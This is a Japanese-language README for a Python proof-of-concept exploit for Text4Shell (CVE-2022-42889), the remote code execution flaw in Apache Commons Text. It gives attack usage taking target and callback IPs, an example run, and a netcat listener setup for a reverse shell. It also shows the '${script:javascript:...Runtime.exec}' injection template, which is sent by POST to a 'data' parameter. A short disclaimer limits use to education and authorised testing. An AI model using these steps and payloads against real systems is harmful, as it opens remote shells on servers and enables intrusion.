text4shell-exploit

Apache Commons Text のバージョン < 1.10 における重大なリモートコード実行の脆弱性である Text4Shell（CVE-2022-42889）を対象とした、カスタムの Python ベースの概念実証（PoC）エクスプロイトです。 このエクスプロイトは、補間が有効な StringSubstitutor クラスを使用する脆弱な Java アプリケーションを対象としており、${script:...} 式を注入して任意のシステムコマンドを実行できるようにします。

この PoC では、data クエリパラメータを介した悪用を示しています。ただし、脆弱なパラメータ名は実装によって異なる場合があります。ユーザーは、ターゲットアプリケーションのロジックに基づいてペイロードとリクエストパスを適宜調整してください。

免責事項: このエクスプロイトは、教育および許可されたペネトレーションテストの目的でのみ提供されます。責任を持って、自己責任で使用してください。

説明

これは、Text4Shell（CVE-2022-42889）として知られる Apache Commons Text の脆弱性に対するカスタム Python3 エクスプロイトです。ユーザー入力が StringSubstitutor によって動的に評価されるとき、安全でないインターポレータを介したリモートコード実行（RCE）を可能にします。

テスト済み:

• Apache Commons Text < 1.10.0
• 信頼されていない入力から ${script:...} 補間を使用する Java アプリケーション

使用法

python3 text4shell.py <target_ip> <callback_ip> <callback_port>

例

python3 text4shell.py 127.0.0.1 192.168.1.2 4444

攻撃マシンでリスナーをセットアップしてください:

nc -nlvp 4444

ペイロードロジック

スクリプトは以下を注入します:

${script:javascript:java.lang.Runtime.getRuntime().exec(...)}

リバースシェルは、POST リクエストを使用して /data パラメータ経由で送信されます。